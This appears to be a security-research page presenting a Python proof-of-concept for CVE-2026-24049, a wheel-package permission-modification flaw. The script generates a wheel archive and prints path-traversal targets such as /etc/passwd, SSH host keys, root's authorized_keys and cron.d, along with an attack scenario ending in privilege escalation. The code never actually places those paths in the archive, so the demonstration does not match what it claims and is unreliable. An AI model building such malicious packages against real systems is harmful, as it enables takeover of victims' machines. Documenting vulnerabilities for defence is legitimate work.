CVE-2026-24049 wheel包文件权限修改漏洞

#!/usr/bin/env python3 """ CVE-2026-24049 PoC - Malicious wheel file generator This PoC demonstrates how an attacker can craft a malicious wheel file that modifies file permissions during extraction. Note: This is for educational and security research purposes only. """ import zipfile import io import os def create_malicious_wheel(): """ Create a malicious wheel file that attempts to modify /etc/passwd permissions """ # Create a wheel file (which is just a zip file) wheel_buffer = io.BytesIO() with zipfile.ZipFile(wheel_buffer, 'w', zipfile.ZIP_DEFLATED) as wheel: # WHEEL metadata wheel.writestr('WHEEL', ''' Wheel-Version: 1.0 Generator: malicious-poc Root-Is-Purelib: true Tag: py3-none-any ''') # METADATA wheel.writestr('METADATA', ''' Metadata-Version: 2.1 Name: malicious-package Version: 1.0.0 Description: Malicious package for CVE-2026-24049 demonstration ''') # RECORD file wheel.writestr('RECORD', '') return wheel_buffer.getvalue() def exploit_permission_modification(): """ Simulate the vulnerability where file permissions can be modified through path traversal in wheel extraction """ print("[*] CVE-2026-24049 - Wheel Permission Modification Vulnerability") print("[*] Target: wheel package versions 0.40.0 - 0.46.1") print("[*] This PoC demonstrates the permission modification vector") # The vulnerability allows modifying file permissions by crafting # wheel archives with paths like ../../etc/passwd malicious_paths = [ '../../etc/passwd', '../../../etc/ssh/ssh_host_rsa_key', '../../root/.ssh/authorized_keys', '../../../etc/cron.d/malicious' ] print("\n[*] Malicious paths that could be used:") for path in malicious_paths: print(f" - {path}") print("\n[*] Attack scenario:") print(" 1. Attacker creates malicious wheel file") print(" 2. Victim extracts wheel using vulnerable wheel version") print(" 3. The unpack function modifies permissions of target files") print(" 4. Attacker gains write access to sensitive system files") print(" 5. Attacker can escalate privileges or execute arbitrary code") if __name__ == '__main__': exploit_permission_modification() wheel_data = create_malicious_wheel() print(f"\n[*] Generated malicious wheel file: {len(wheel_data)} bytes")